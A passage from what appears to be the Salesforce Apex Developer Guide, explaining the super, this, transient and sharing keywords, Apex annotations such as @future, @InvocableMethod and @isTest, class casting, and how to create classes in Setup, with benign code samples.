System.debug('My name is ' + mySalutation + myLastName);
}
public virtual String getFirstName() {
return myFirstName;
}
}
You can create the following class that extends Superclass and overrides its printName method:
public class Subclass extends Superclass {
public override void printName() {
super.printName();
System.debug('But you can call me ' + super.getFirstName());
}
}
The expected output when calling Subclass.printName is My name is Mr. Vonderburg. But you can call
me Carl.
You can also use super to call constructors. Add the following constructor to SubClass:
public Subclass() {
super('Madam', 'Brenda', 'Clapentrap');
}
Now, the expected output of Subclass.printName is My name is Madam Clapentrap. But you can call
me Brenda.
Best Practices for Using the super Keyword
• Only classes that are extending from virtual or abstract classes can use super.
• You can only use super in methods that are designated with the override keyword.
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Using the this Keyword
There are two different ways of using the this keyword.
You can use the this keyword in dot notation, without parenthesis, to represent the current instance of the class in which it appears.
Use this form of the this keyword to access instance variables and methods. For example:
public class myTestThis {
string s;
{
this.s = 'TestString';
}
}
In the above example, the class myTestThis declares an instance variable s. The initialization code populates the variable using the
this keyword.
Or you can use the this keyword to do constructor chaining, that is, in one constructor, call another constructor. In this format, use
the this keyword with parentheses. For example:
public class testThis {
// First constructor for the class. It requires a string parameter.
public testThis(string s2) {
}
// Second constructor for the class. It does not require a parameter.
// This constructor calls the first constructor using the this keyword.
public testThis() {
this('None');
}
}
When you use the this keyword in a constructor to do constructor chaining, it must be the first statement in the constructor.
Using the transient Keyword
Use the transient keyword to declare instance variables that can't be saved, and shouldn't be transmitted as part of the view state
for a Visualforce page. For example:
Transient Integer currentTotal;
You can also use the transient keyword in Apex classes that are serializable, namely in controllers, controller extensions, or classes
that implement the Batchable or Schedulable interface. In addition, you can use transient in classes that define the types
of fields declared in the serializable classes.
Declaring variables as transient reduces view state size. A common use case for the transient keyword is a field on a Visualforce
page that is needed only for the duration of a page request, but should not be part of the page's view state and would use too many
system resources to be recomputed many times during a request.
Some Apex objects are automatically considered transient, that is, their value does not get saved as part of the page's view state. These
objects include the following:
• PageReferences
• XmlStream classes
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• Collections automatically marked as transient only if the type of object that they hold is automatically marked as transient, such as
a collection of Savepoints
• Most of the objects generated by system methods, such as Schema.getGlobalDescribe.
• JSONParser class instances.
Static variables also don't get transmitted through the view state.
The following example contains both a Visualforce page and a custom controller. Clicking the refresh button on the page causes the
transient date to be updated because it is being recreated each time the page is refreshed. The non-transient date continues to have
its original value, which has been deserialized from the view state, so it remains the same.
<apex:page controller="ExampleController">
T1: {!t1} <br/>
T2: {!t2} <br/>
<apex:form>
<apex:commandLink value="refresh"/>
</apex:form>
</apex:page>
public class ExampleController {
DateTime t1;
transient DateTime t2;
public String getT1() {
if (t1 == null) t1 = System.now();
return '' + t1;
}
public String getT2() {
if (t2 == null) t2 = System.now();
return '' + t2;
}
}
SEE ALSO:
JSONParser Class
Using the with sharing or without sharing Keywords
Use the with sharing or without sharing keywords on a class to specify whether or not to enforce sharing rules.
The with sharing keyword allows you to specify that the sharing rules for the current user be taken into account for a class. You
have to explicitly set this keyword for the class because Apex code runs in system context. In system context, Apex code has access to
all objects and fields— object permissions, field-level security, sharing rules aren’t applied for the current user. This is to ensure that
code won’t fail to run because of hidden fields or objects for a user. The only exceptions to this rule are Apex code that is executed with
the executeAnonymous call and Chatter in Apex. executeAnonymous always executes using the full permissions of the
current user. For more information on executeAnonymous, see Anonymous Blocks on page 209.
Use the with sharing keywords when declaring a class to enforce the sharing rules that apply to the current user. For example:
public with sharing class sharingClass {
// Code here
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}
Use the without sharing keywords when declaring a class to ensure that the sharing rules for the current user are not enforced.
For example, you may want to explicitly turn off sharing rule enforcement when a class acquires sharing rules when it is called from
another class that is declared using with sharing.
public without sharing class noSharing {
// Code here
}
Some things to note about sharing keywords:
• The sharing setting of the class where the method is defined is applied, not of the class where the method is called. For example, if
a method is defined in a class declared with with sharing is called by a class declared with without sharing, the method
will execute with sharing rules enforced.
• If a class isn’t declared as either with or without sharing, the current sharing rules remain in effect. This means that the class doesn’t
enforce sharing rules except if it acquires sharing rules from another class. For example, if the class is called by another class that has
sharing enforced, then sharing is enforced for the called class.
• Both inner classes and outer classes can be declared as with sharing. The sharing setting applies to all code contained in the
class, including initialization code, constructors, and methods.
• Inner classes do not inherit the sharing setting from their container class.
• Classes inherit this setting from a parent class when one class extends or implements another.
Annotations
An Apex annotation modifies the way that a method or class is used, similar to annotations in Java. Annotations are defined with an
initial @ symbol, followed by the appropriate keyword.
To add an annotation to a method, specify it immediately before the method or class definition. For example:
global class MyClass {
@future
Public static void myMethod(String a)
{
//long-running Apex code
}
}
Apex supports the following annotations.
• @AuraEnabled
• @Deprecated
• @Future
• @InvocableMethod
• @InvocableVariable
• @IsTest
• @ReadOnly
• @RemoteAction
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• @SuppressWarnings
• @TestSetup
• @TestVisible
• Apex REST annotations:
– @RestResource(urlMapping='/yourUrl')
– @HttpDelete
– @HttpGet
– @HttpPatch
– @HttpPost
– @HttpPut
IN THIS SECTION:
1. AuraEnabled Annotation
2. Deprecated Annotation
3. Future Annotation
4. InvocableMethod Annotation
Use the InvocableMethod annotation to identify methods that can be run as invocable actions.
5. InvocableVariable Annotation
Use the InvocableVariable annotation to identify variables used by invocable methods in custom classes.
6. IsTest Annotation
7. ReadOnly Annotation
8. RemoteAction Annotation
9. SuppressWarnings Annotation
This annotation does nothing in Apex but can be used to provide information to third party tools.
10. TestSetup Annotation
Methods defined with the @testSetup annotation are used for creating common test records that are available for all test
methods in the class.
11. TestVisible Annotation
12. Apex REST Annotations
AuraEnabled Annotation
The @AuraEnabled annotation enables client- and server-side access to an Apex controller method. Providing this annotation makes
your methods available to your Lightning components. Only methods with this annotation are exposed. For more information, see the
Lightning Components Developer's Guide.
Deprecated Annotation
Use the deprecated annotation to identify methods, classes, exceptions, enums, interfaces, or variables that can no longer be
referenced in subsequent releases of the managed package in which they reside. This is useful when you are refactoring code in managed
packages as the requirements evolve. New subscribers cannot see the deprecated elements, while the elements continue to function
for existing subscribers and API integrations.
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The following code snippet shows a deprecated method. The same syntax can be used to deprecate classes, exceptions, enums, interfaces,
or variables.
@deprecated
// This method is deprecated. Use myOptimizedMethod(String a, String b) instead.
global void myMethod(String a) {
}
Note the following rules when deprecating Apex identifiers:
• Unmanaged packages cannot contain code that uses the deprecated keyword.
• When an Apex item is deprecated, all global access modifiers that reference the deprecated identifier must also be deprecated.
Any global method that uses the deprecated type in its signature, either in an input argument or the method return type, must also
be deprecated. A deprecated item, such as a method or a class, can still be referenced internally by the package developer.
• webservice methods and variables cannot be deprecated.
• You can deprecate an enum but you cannot deprecate individual enum values.
• You can deprecate an interface but you cannot deprecate individual methods in an interface.
• You can deprecate an abstract class but you cannot deprecate individual abstract methods in an abstract class.
• You cannot remove the deprecated annotation to undeprecate something in Apex after you have released a package version
where that item in Apex is deprecated.
For more information about package versions, see What is a Package? on page 609.
Future Annotation
Use the future annotation to identify methods that are executed asynchronously. When you specify future, the method executes
when Salesforce has available resources.
For example, you can use the future annotation when making an asynchronous Web service callout to an external service. Without
the annotation, the Web service callout is made from the same thread that is executing the Apex code, and no additional processing
can occur until the callout is complete (synchronous processing).
Methods with the future annotation must be static methods, and can only return a void type. The specified parameters must be
primitive data types, arrays of primitive data types, or collections of primitive data types. Methods with the future annotation cannot
take sObjects or objects as arguments.
To make a method in a class execute asynchronously, define the method with the future annotation. For example:
global class MyFutureClass {
@future
static void myMethod(String a, Integer i) {
System.debug('Method called with: ' + a + ' and ' + i);
// Perform long-running code
}
}
To allow callouts in a future method, specify (callout=true). The default is (callout=false), which prevents a method
from making callouts.
The following snippet shows how to specify that a method executes a callout:
@future (callout=true)
public static void doCalloutFromFuture() {
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//Add code to perform callout
}
Future Method Considerations
• Remember that any method using the future annotation requires special consideration because the method does not necessarily
execute in the same order it is called.
• Methods with the future annotation cannot be used in Visualforce controllers in either getMethodName or setMethodName
methods, nor in the constructor.
• You cannot call a method annotated with future from a method that also has the future annotation. Nor can you call a trigger
from an annotated method that calls another annotated method.
InvocableMethod Annotation
Use the InvocableMethod annotation to identify methods that can be run as invocable actions.
Invocable methods are called with the REST API and used to invoke a single Apex method. Invocable methods have dynamic input and
output values and support describe calls.
The following code sample shows an invocable method with primitive data types.
public class AccountQueryAction {
@InvocableMethod(label='Get Account Names' description='Returns the list of account names
corresponding to the specified account IDs.')
public static List<String> getAccountNames(List<ID> ids) {
List<String> accountNames = new List<String>();
List<Account> accounts = [SELECT Name FROM Account WHERE Id in :ids];
for (Account account : accounts) {
accountNames.add(account.Name);
}
return accountNames;
}
}
This code sample shows an invocable method with a specific sObject data type.
public class AccountInsertAction {
@InvocableMethod(label='Insert Accounts' description='Inserts the accounts specified and
returns the IDs of the new accounts.')
public static List<ID> insertAccounts(List<Account> accounts) {
Database.SaveResult[] results = Database.insert(accounts);
List<ID> accountIds = new List<ID>();
for (Database.SaveResult result : results) {
if (result.isSuccess()) {
accountIds.add(result.getId());
}
}
return accountIds;
}
}
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Invocable Method Considerations
Implementation Notes
• The invocable method must be static and public or global, and its class must be an outer class.
• Only one method in a class can have the InvocableMethod annotation.
• Triggers can’t reference invocable methods.
• Other annotations can’t be used with the InvocableMethod annotation.
Inputs and Outputs
There can be at most one input parameter and its data type must be one of the following:
• A list of a primitive data type or a list of lists of a primitive data type – the generic Object type is not supported.
• A list of an sObject type or a list of lists of an sObject type – the generic sObject type is not supported.
• A list of a user-defined type, containing variables of the supported types and with the InvocableVariable annotation.
Create a custom global or public Apex class to implement your data type, and make sure your class contains at least one member
variable with the invocable variable annotation.
If the return type is not Null, the data type returned by the method must be one of the following:
• A list of a primitive data type or a list of lists of a primitive data type – the generic Object type is not supported.
• A list of an sObject type or a list of lists of an sObject type – the generic sObject type is not supported.
• A list of a user-defined type, containing variables of the supported types and with the InvocableVariable annotation.
Create a custom global or public Apex class to implement your data type, and make sure your class contains at least one member
variable with the invocable variable annotation.
Managed Packages
• You can use invocable methods in packages, but once you add an invocable method you can’t remove it from later versions of
the package.
• Public invocable methods can be referred to by flows and processes within the managed package.
• Global invocable methods can be referred to anywhere in the subscriber org. Only global invocable methods appear in the Cloud
Flow Designer and Process Builder in the subscriber org.
For more information about invocable actions, see Force.com Actions Developer’s Guide.
InvocableVariable Annotation
Use the InvocableVariable annotation to identify variables used by invocable methods in custom classes.
The InvocableVariable annotation identifies a class variable used as an input or output parameter for an InvocableMethod
method’s invocable action. If you create your own custom class to use as the input or output to an invocable method, you can annotate
individual class member variables to make them available to the method.
The following code sample shows an invocable method with invocable variables.
global class ConvertLeadAction {
@InvocableMethod(label='Convert Leads')
global static List<ConvertLeadActionResult> convertLeads(List<ConvertLeadActionRequest>
requests) {
List<ConvertLeadActionResult> results = new List<ConvertLeadActionResult>();
for (ConvertLeadActionRequest request : requests) {
results.add(convertLead(request));
}
return results;
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}
public static ConvertLeadActionResult convertLead(ConvertLeadActionRequest request) {
Database.LeadConvert lc = new Database.LeadConvert();
lc.setLeadId(request.leadId);
lc.setConvertedStatus(request.convertedStatus);
if (request.accountId != null) {
lc.setAccountId(request.accountId);
}
if (request.contactId != null) {
lc.setContactId(request.contactId);
}
if (request.overWriteLeadSource != null && request.overWriteLeadSource) {
lc.setOverwriteLeadSource(request.overWriteLeadSource);
}
if (request.createOpportunity != null && !request.createOpportunity) {
lc.setDoNotCreateOpportunity(!request.createOpportunity);
}
if (request.opportunityName != null) {
lc.setOpportunityName(request.opportunityName);
}
if (request.ownerId != null) {
lc.setOwnerId(request.ownerId);
}
if (request.sendEmailToOwner != null && request.sendEmailToOwner) {
lc.setSendNotificationEmail(request.sendEmailToOwner);
}
Database.LeadConvertResult lcr = Database.convertLead(lc, true);
if (lcr.isSuccess()) {
ConvertLeadActionResult result = new ConvertLeadActionResult();
result.accountId = lcr.getAccountId();
result.contactId = lcr.getContactId();
result.opportunityId = lcr.getOpportunityId();
return result;
} else {
throw new ConvertLeadActionException(lcr.getErrors()[0].getMessage());
}
}
global class ConvertLeadActionRequest {
@InvocableVariable(required=true)
global ID leadId;
@InvocableVariable(required=true)
global String convertedStatus;
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@InvocableVariable
global ID accountId;
@InvocableVariable
global ID contactId;
@InvocableVariable
global Boolean overWriteLeadSource;
@InvocableVariable
global Boolean createOpportunity;
@InvocableVariable
global String opportunityName;
@InvocableVariable
global ID ownerId;
@InvocableVariable
global Boolean sendEmailToOwner;
}
global class ConvertLeadActionResult {
@InvocableVariable
global ID accountId;
@InvocableVariable
global ID contactId;
@InvocableVariable
global ID opportunityId;
}
class ConvertLeadActionException extends Exception {}
}
InvocableVariable Modifiers
The invocable variable annotation has three available modifiers, as shown in this example.
@InvocableVariable(label='yourLabel'
false))
description='yourDescription' required=(true |
All modifiers are optional.
label
The label for the variable. The default is the variable name.
description
The description for the variable. The default is Null.
required
Whether the variable is required. If not specified, the default is false. The value is ignored for output variables.
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InvocableVariable Considerations
• Other annotations can’t be used with the InvocableVariable annotation.
• Only global and public variables can be invocable variables.
• The invocable variable can’t be one of the following:
– A type such as an interface, class, or enum.
– A non-member variable such as a static or local variable.
– A property.
– A final variable.
– Protected or private.
• The data type of the invocable variable must be one of the following:
– A primitive data type or a list of a primitive data type – the generic Object type is not supported.
– An sObject type or a list of an sObject type – the generic sObject type is not supported.
• For managed packages:
– Public invocable variables can be set in flows and processes within the same managed package.
– Global invocable variables can be set anywhere in the subscriber org. Only global invocable variables appear in the Cloud Flow
Designer and Process Builder in the subscriber org.
For more information about invocable actions, see Force.com Actions Developer’s Guide.
IsTest Annotation
Use the @isTest annotation to define classes and methods that only contain code used for testing your application. The @isTest
annotation on methods is equivalent to the testMethod keyword.
Note: The testMethod keyword is now deprecated. Use the @isTest annotation on classes and methods instead.
Classes and methods defined as @isTest can be either private or public. Classes defined as @isTest must be top-level
classes.
Note: Classes defined with the @isTest annotation don't count against your organization limit of 3 MB for all Apex code.
This is an example of a private test class that contains two test methods.
@isTest
private class MyTestClass {
// Methods for testing
@isTest static void test1() {
// Implement test code
}
@isTest static void test2() {
// Implement test code
}
}
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This is an example of a public test class that contains utility methods for test data creation:
@isTest
public class TestUtil {
public static void createTestAccounts() {
// Create some test accounts
}
public static void createTestContacts() {
// Create some test contacts
}
}
Classes defined as @isTest can't be interfaces or enums.
Methods of a public test class can only be called from a running test, that is, a test method or code invoked by a test method, and can't
be called by a non-test request.. To learn about the various ways you can run test methods, see Run Unit Test Methods.
@IsTest(SeeAllData=true) Annotation
For Apex code saved using Salesforce API version 24.0 and later, use the @isTest(SeeAllData=true) annotation to grant test
classes and individual test methods access to all data in the organization, including pre-existing data that the test didn’t create. Starting
with Apex code saved using Salesforce API version 24.0, test methods don’t have access by default to pre-existing data in the organization.
However, test code saved against Salesforce API version 23.0 and earlier continues to have access to all data in the organization and its
data access is unchanged. See Isolation of Test Data from Organization Data in Unit Tests on page 576.
Considerations for the @IsTest(SeeAllData=true) Annotation
• If a test class is defined with the @isTest(SeeAllData=true) annotation, this annotation applies to all its test methods
whether the test methods are defined with the @isTest annotation or the (deprecated) testMethod keyword.
• The @isTest(SeeAllData=true) annotation is used to open up data access when applied at the class or method level.
However, using @isTest(SeeAllData=false) on a method doesn’t restrict organization data access for that method
if the containing class has already been defined with the @isTest(SeeAllData=true) annotation. In this case, the
method will still have access to all the data in the organization.
This example shows how to define a test class with the @isTest(SeeAllData=true) annotation. All the test methods in this
class have access to all data in the organization.
// All test methods in this class can access all data.
@isTest(SeeAllData=true)
public class TestDataAccessClass {
// This test accesses an existing account.
// It also creates and accesses a new test account.
static testmethod void myTestMethod1() {
// Query an existing account in the organization.
Account a = [SELECT Id, Name FROM Account WHERE Name='Acme' LIMIT 1];
System.assert(a != null);
// Create a test account based on the queried account.
Account testAccount = a.clone();
testAccount.Name = 'Acme Test';
insert testAccount;
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// Query the test account that was inserted.
Account testAccount2 = [SELECT Id, Name FROM Account
WHERE Name='Acme Test' LIMIT 1];
System.assert(testAccount2 != null);
}
// Like the previous method, this test method can also access all data
// because the containing class is annotated with @isTest(SeeAllData=true).
@isTest static void myTestMethod2() {
// Can access all data in the organization.
}
}
This second example shows how to apply the @isTest(SeeAllData=true) annotation on a test method. Because the class
that the test method is contained in isn’t defined with this annotation, you have to apply this annotation on the test method to enable
access to all data for that test method. The second test method doesn’t have this annotation, so it can access only the data it creates in
addition to objects that are used to manage your organization, such as users.
// This class contains test methods with different data access levels.
@isTest
private class ClassWithDifferentDataAccess {
// Test method that has access to all data.
@isTest(SeeAllData=true)
static void testWithAllDataAccess() {
// Can query all data in the organization.
}
// Test method that has access to only the data it creates
// and organization setup and metadata objects.
@isTest static void testWithOwnDataAccess() {
// This method can still access the User object.
// This query returns the first user object.
User u = [SELECT UserName,Email FROM User LIMIT 1];
System.debug('UserName: ' + u.UserName);
System.debug('Email: ' + u.Email);
// Can access the test account that is created here.
Account a = new Account(Name='Test Account');
insert a;
// Access the account that was just created.
Account insertedAcct = [SELECT Id,Name FROM Account
WHERE Name='Test Account'];
System.assert(insertedAcct != null);
}
}
@IsTest(OnInstall=true) Annotation
Use the @IsTest(OnInstall=true) annotation to specify which Apex tests are executed during package installation. This
annotation is used for tests in managed or unmanaged packages. Only test methods with this annotation, or methods that are part of
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a test class that has this annotation, will be executed during package installation. Tests annotated to run during package installation
must pass in order for the package installation to succeed. It is no longer possible to bypass a failing test during package installation. A
test method or a class that doesn't have this annotation, or that is annotated with @isTest(OnInstall=false) or @isTest,
won't be executed during installation.
This example shows how to annotate a test method that is executed during package installation. In this example, test1 is executed
but test2 and test3 is not.
public class OnInstallClass {
// Implement logic for the class.
public void method1(){
// Some code
}
}
@isTest
private class OnInstallClassTest {
// This test method will be executed
// during the installation of the package.
@isTest(OnInstall=true)
static void test1() {
// Some test code
}
// Tests excluded from running during the
// the installation of a package.
@isTest
static void test2() {
// Some test code
}
static testmethod void test3() {
// Some test code
}
}
@IsTest(isParallel=true) Annotation
Use the @isTest(isParallel=true) annotation to indicate test classes that can run in parallel and aren’t restricted by the
default limits on the number of concurrent tests. This annotation makes the execution of test classes more efficient, because more tests
can be run in parallel.
This annotation overrides settings that disable parallel testing. A test class that doesn’t have this annotation is restricted by the default
limits on the number of concurrent tests.
ReadOnly Annotation
The @ReadOnly annotation allows you to perform unrestricted queries against the Force.com database. All other limits still apply. It's
important to note that this annotation, while removing the limit of the number of returned rows for a request, blocks you from performing
the following operations within the request: DML operations, calls to System.schedule, calls to methods annotated with @future,
and sending emails.
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The @ReadOnly annotation is available for Web services and the Schedulable interface. To use the @ReadOnly annotation,
the top level request must be in the schedule execution or the Web service invocation. For example, if a Visualforce page calls a Web
service that contains the @ReadOnly annotation, the request fails because Visualforce is the top level request, not the Web service.
Visualforce pages can call controller methods with the @ReadOnly annotation, and those methods will run with the same relaxed
restrictions. To increase other Visualforce-specific limits, such as the size of a collection that can be used by an iteration component like
<apex:pageBlockTable>, you can set the readonly attribute on the <apex:page> tag to true. For more information,
see Working with Large Sets of Data in the Visualforce Developer's Guide.
RemoteAction Annotation
The RemoteAction annotation provides support for Apex methods used in Visualforce to be called via JavaScript. This process is
often referred to as JavaScript remoting.
Note: Methods with the RemoteAction annotation must be static and either global or public.
A simple JavaScript remoting invocation takes the following form.
[namespace.]controller.method(
[parameters...,]
callbackFunction,
[configuration]
);
Table 1: Remote Request Elements
Element
Description
namespace
The namespace of the controller class. This is required if your organization has a namespace defined,
or if the class comes from an installed package.
controller
The name of your Apex controller.
method
The name of the Apex method you’re calling.
parameters
A comma-separated list of parameters that your method takes.
callbackFunction
The name of the JavaScript function that will handle the response from the controller. You can also
declare an anonymous function inline. callbackFunction receives the status of the method
call and the result as parameters.
configuration
Configures the handling of the remote call and response. Use this to change the behavior of a
remoting call, such as whether or not to escape the Apex method’s response.
In your controller, your Apex method declaration is preceded with the @RemoteAction annotation like this:
@RemoteAction
global static String getItemId(String objectName) { ... }
Apex @RemoteAction methods must be static and either global or public.
Your method can take Apex primitives, collections, typed and generic sObjects, and user-defined Apex classes and interfaces as arguments.
Generic sObjects must have an ID or sobjectType value to identify actual type. Interface parameters must have an apexType to identify
actual type. Your method can return Apex primitives, sObjects, collections, user-defined Apex classes and enums, SaveResult,
UpsertResult, DeleteResult, SelectOption, or PageReference.
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For more information, see “JavaScript Remoting for Apex Controllers” in the Visualforce Developer's Guide.
SuppressWarnings Annotation
This annotation does nothing in Apex but can be used to provide information to third party tools.
The @SuppressWarnings annotation does nothing in Apex but can be used to provide information to third party tools.
TestSetup Annotation
Methods defined with the @testSetup annotation are used for creating common test records that are available for all test methods
in the class.
Syntax
Test setup methods are defined in a test class, take no arguments, and return no value. The following is the syntax of a test setup method.
@testSetup static void methodName() {
}
If a test class contains a test setup method, the testing framework executes the test setup method first, before any test method in the
class. Records that are created in a test setup method are available to all test methods in the test class and are rolled back at the end of
test class execution. If a test method changes those records, such as record field updates or record deletions, those changes are rolled
back after each test method finishes execution. The next executing test method gets access to the original unmodified state of those
records.
Note: You can have only one test setup method per test class.
Test setup methods are supported only with the default data isolation mode for a test class. If the test class or a test method has access
to organization data by using the @isTest(SeeAllData=true) annotation, test setup methods aren’t supported in this class.
Because data isolation for tests is available for API versions 24.0 and later, test setup methods are also available for those versions only.
For more information, see Using Test Setup Methods.
TestVisible Annotation
Use the TestVisible annotation to allow test methods to access private or protected members of another class outside the test
class. These members include methods, member variables, and inner classes. This annotation enables a more permissive access level
for running tests only. This annotation doesn’t change the visibility of members if accessed by non-test classes.
With this annotation, you don’t have to change the access modifiers of your methods and member variables to public if you want to
access them in a test method. For example, if a private member variable isn’t supposed to be exposed to external classes but it should
be accessible by a test method, you can add the TestVisible annotation to the variable definition.
This example shows how to annotate a private class member variable and private method with TestVisible.
public class TestVisibleExample {
// Private member variable
@TestVisible private static Integer recordNumber = 1;
// Private method
@TestVisible private static void updateRecord(String name) {
// Do something
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}
}
This is the test class that uses the previous class. It contains the test method that accesses the annotated member variable and method.
@isTest
private class TestVisibleExampleTest {
@isTest static void test1() {
// Access private variable annotated with TestVisible
Integer i = TestVisibleExample.recordNumber;
System.assertEquals(1, i);
// Access private method annotated with TestVisible
TestVisibleExample.updateRecord('RecordName');
// Perform some verification
}
}
Apex REST Annotations
Six new annotations have been added that enable you to expose an Apex class as a RESTful Web service.
• @RestResource(urlMapping='/yourUrl')
• @HttpDelete
• @HttpGet
• @HttpPatch
• @HttpPost
• @HttpPut
IN THIS SECTION:
1. RestResource Annotation
2. HttpDelete Annotation
3. HttpGet Annotation
4. HttpPatch Annotation
5. HttpPost Annotation
6. HttpPut Annotation
RestResource Annotation
The @RestResource annotation is used at the class level and enables you to expose an Apex class as a REST resource.
These are some considerations when using this annotation:
• The URL mapping is relative to https://instance.salesforce.com/services/apexrest/.
• A wildcard character (*) may be used.
• The URL mapping is case-sensitive. A URL mapping for my_url will only match a REST resource containing my_url and not
My_Url.
• To use this annotation, your Apex class must be defined as global.
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URL Guidelines
URL path mappings are as follows:
• The path must begin with a '/'
• If an '*' appears, it must be preceded by '/' and followed by '/', unless the '*' is the last character, in which case it need not be followed
by '/'
The rules for mapping URLs are:
• An exact match always wins.
• If no exact match is found, find all the patterns with wildcards that match, and then select the longest (by string length) of those.
• If no wildcard match is found, an HTTP response status code 404 is returned.
The URL for a namespaced classes contains the namespace. For example, if your class is in namespace abc and the class is mapped to
your_url, then the API URL is modified as follows:
https://instance.salesforce.com/services/apexrest/abc/your_url/. In the case of a URL collision, the
namespaced class is always used.
HttpDelete Annotation
The @HttpDelete annotation is used at the method level and enables you to expose an Apex method as a REST resource. This
method is called when an HTTP DELETE request is sent, and deletes the specified resource.
To use this annotation, your Apex method must be defined as global static.
HttpGet Annotation
The @HttpGet annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP GET request is sent, and returns the specified resource.
These are some considerations when using this annotation:
• To use this annotation, your Apex method must be defined as global static.
• Methods annotated with @HttpGet are also called if the HTTP request uses the HEAD request method.
HttpPatch Annotation
The @HttpPatch annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP PATCH request is sent, and updates the specified resource.
To use this annotation, your Apex method must be defined as global static.
HttpPost Annotation
The @HttpPost annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP POST request is sent, and creates a new resource.
To use this annotation, your Apex method must be defined as global static.
HttpPut Annotation
The @HttpPut annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP PUT request is sent, and creates or updates the specified resource.
To use this annotation, your Apex method must be defined as global static.
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Classes and Casting
In general, all type information is available at runtime. This means that Apex enables casting, that is, a data type of one class can be
assigned to a data type of another class, but only if one class is a child of the other class. Use casting when you want to convert an object
from one data type to another.
In the following example, CustomReport extends the class Report. Therefore, it is a child of that class. This means that you can
use casting to assign objects with the parent data type (Report) to the objects of the child data type (CustomReport).
In the following code block, first, a custom report object is added to a list of report objects. After that, the custom report object is returned
as a report object, then is cast back into a custom report object.
Public virtual class Report {
Public class CustomReport extends Report {
// Create a list of report objects
Report[] Reports = new Report[5];
// Create a custom report object
CustomReport a = new CustomReport();
// Because the custom report is a sub class of the Report class,
// you can add the custom report object a to the list of report objects
Reports.add(a);
//
//
//
//
The following is not legal, because the compiler does not know that what you are
returning is a custom report. You must use cast to tell it that you know what
type you are returning
CustomReport c = Reports.get(0);
// Instead, get the first item in the list by casting it back to a custom report object
CustomReport c = (CustomReport) Reports.get(0);
}
}
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Casting Example
In addition, an interface type can be cast to a sub-interface or a class type that implements that interface.
Tip: To verify if a class is a specific type of class, use the instanceOf keyword. For more information, see Using the
instanceof Keyword on page 76.
IN THIS SECTION:
1. Classes and Collections
2. Collection Casting
Classes and Collections
Lists and maps can be used with classes and interfaces, in the same ways that lists and maps can be used with sObjects. This means, for
example, that you can use a user-defined data type for the value or the key of a map. Likewise, you can create a set of user-defined
objects.
If you create a map or list of interfaces, any child type of the interface can be put into that collection. For instance, if the List contains an
interface i1, and MyC implements i1, then MyC can be placed in the list.
SEE ALSO:
Using Custom Types in Map Keys and Sets
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Collection Casting
Because collections in Apex have a declared type at runtime, Apex allows collection casting.
Collections can be cast in a similar manner that arrays can be cast in Java. For example, a list of CustomerPurchaseOrder objects can be
assigned to a list of PurchaseOrder objects if class CustomerPurchaseOrder is a child of class PurchaseOrder.
public virtual class PurchaseOrder {
Public class CustomerPurchaseOrder extends PurchaseOrder {
}
{
List<PurchaseOrder> POs = new PurchaseOrder[] {};
List<CustomerPurchaseOrder> CPOs = new CustomerPurchaseOrder[]{};
POs = CPOs;
}
}
Once the CustomerPurchaseOrder list is assigned to the PurchaseOrder list variable, it can be cast back to a list of
CustomerPurchaseOrder objects, but only because that instance was originally instantiated as a list of CustomerPurchaseOrder objects.
A list of PurchaseOrder objects that is instantiated as such cannot be cast to a list of CustomerPurchaseOrder objects, even if the list of
PurchaseOrder objects contains only CustomerPurchaseOrder objects.
If the user of a PurchaseOrder list that only includes CustomerPurchaseOrders objects tries to insert a non-CustomerPurchaseOrder
subclass of PurchaseOrder (such as InternalPurchaseOrder), a runtime exception results. This is because Apex collections
have a declared type at runtime.
Note: Maps behave in the same way as lists with regards to the value side of the Map. If the value side of map A can be cast to
the value side of map B, and they have the same key type, then map A can be cast to map B. A runtime error results if the casting
is not valid with the particular map at runtime.
Differences Between Apex Classes and Java Classes
Apex classes and Java classes work in similar ways, but there are some significant differences.
These are the major differences between Apex classes and Java classes:
• Inner classes and interfaces can only be declared one level deep inside an outer class.
• Static methods and variables can only be declared in a top-level class definition, not in an inner class.
• An inner class behaves like a static Java inner class, but doesn’t require the static keyword. An inner class can have instance
member variables like an outer class, but there is no implicit pointer to an instance of the outer class (using the this keyword).
• The private access modifier is the default, and means that the method or variable is accessible only within the Apex class in
which it is defined. If you do not specify an access modifier, the method or variable is private.
• Specifying no access modifier for a method or variable and the private access modifier are synonymous.
• The public access modifier means the method or variable can be used by any Apex in this application or namespace.
• The global access modifier means the method or variable can be used by any Apex code that has access to the class, not just
the Apex code in the same application. This access modifier should be used for any method that needs to be referenced outside of
the application, either in the SOAP API or by other Apex code. If you declare a method or variable as global, you must also declare
the class that contains it as global.
• Methods and classes are final by default.
– The virtual definition modifier allows extension and overrides.
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– The override keyword must be used explicitly on methods that override base class methods.
• Interface methods have no modifiers—they are always global.
• Exception classes must extend either exception or another user-defined exception.
– Their names must end with the word exception.
– Exception classes have four implicit constructors that are built-in, although you can add others.
• Classes and interfaces can be defined in triggers and anonymous blocks, but only as local.
SEE ALSO:
Exceptions in Apex
Class Definition Creation
Use the class editor to create a class in Salesforce.
1. From Setup, enter Apex Classes in the Quick Find box, then select Apex Classes.
2. Click New.
3. Click Version Settings to specify the version of Apex and the API used with this class. If your organization has installed managed
packages from the AppExchange, you can also specify which version of each managed package to use with this class. Use the default
values for all versions. This associates the class with the most recent version of Apex and the API, as well as each managed package.
You can specify an older version of a managed package if you want to access components or functionality that differs from the most
recent package version. You can specify an older version of Apex and the API to maintain specific behavior.
4. In the class editor, enter the Apex code for the class. A single class can be up to 1 million characters in length, not including comments,
test methods, or classes defined using @isTest.
5. Click Save to save your changes and return to the class detail screen, or click Quick Save to save your changes and continue editing
your class. Your Apex class must compile correctly before you can save your class.
Classes can also be automatically generated from a WSDL by clicking Generate from WSDL. See SOAP Services: Defining a Class from
a WSDL Document on page 475.
Once saved, classes can be invoked through class methods or variables by other Apex code, such as a trigger.
Note: To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and the API. If
the Apex class references components, such as a custom object, in installed managed packages, the version settings for each
managed package referenced by the class is saved too. Additionally, classes are stored with an isValid flag that is set to true
as long as dependent metadata has not changed since the class was last compiled. If any changes are made to object names or
fields that are used in the class, including superficial changes such as edits to an object or field description, or if changes are made
to a class that calls this class, the isValid flag is set to false. When a trigger or Web service call invokes the class, the code
is recompiled and the user is notified if there are any errors. If there are no errors, the isValid flag is reset to true.
The Apex Class Editor
